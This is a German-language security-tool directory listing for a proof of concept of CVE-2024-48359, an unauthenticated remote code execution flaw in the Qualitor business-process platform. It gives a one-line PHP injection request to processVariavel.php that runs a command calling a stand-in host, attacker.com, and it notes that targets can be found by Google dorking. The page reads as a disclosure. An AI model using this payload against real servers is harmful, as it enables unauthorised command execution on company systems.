Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-48359 — CVE-2024-48359 PoC | Kitploit
Tools/GitHubGitHub/openxp-research/cve-2024-48359
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubopenxp-research/cve-2024-48359

CVE-2024-48359

CVE-2024-48359 PoC

Repository anzeigen
112vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-48359 - Qualitor <= v8.24 Unberechtigter RCE PoC

CVE-2024-48359 | Qualitor <= v8.24 RCE

Beschreibung

Qualitor ist eine Plattform für das Geschäftsprozessmanagement, und dieses System ist in verschiedenen Unternehmen in Brasilien vorhanden, die einfach durch Google Dorking identifiziert werden können.

Unser Team hat eine Schwachstelle in der Anwendung identifiziert, die anfällig für Remote Code Execution (RCE) ist, was die ferngesteuerte Ausführung von Systembefehlen ermöglicht.

Dies ist ein Bypass für den Fix von CVE-2023-47253.

Proof of Concept (POC)

Senden Sie einfach einen PHP-Code auf der Seite processVariavel.php, z.B.: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

image

Forschung

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

  • OpenXP Research Team
Tool herunterladen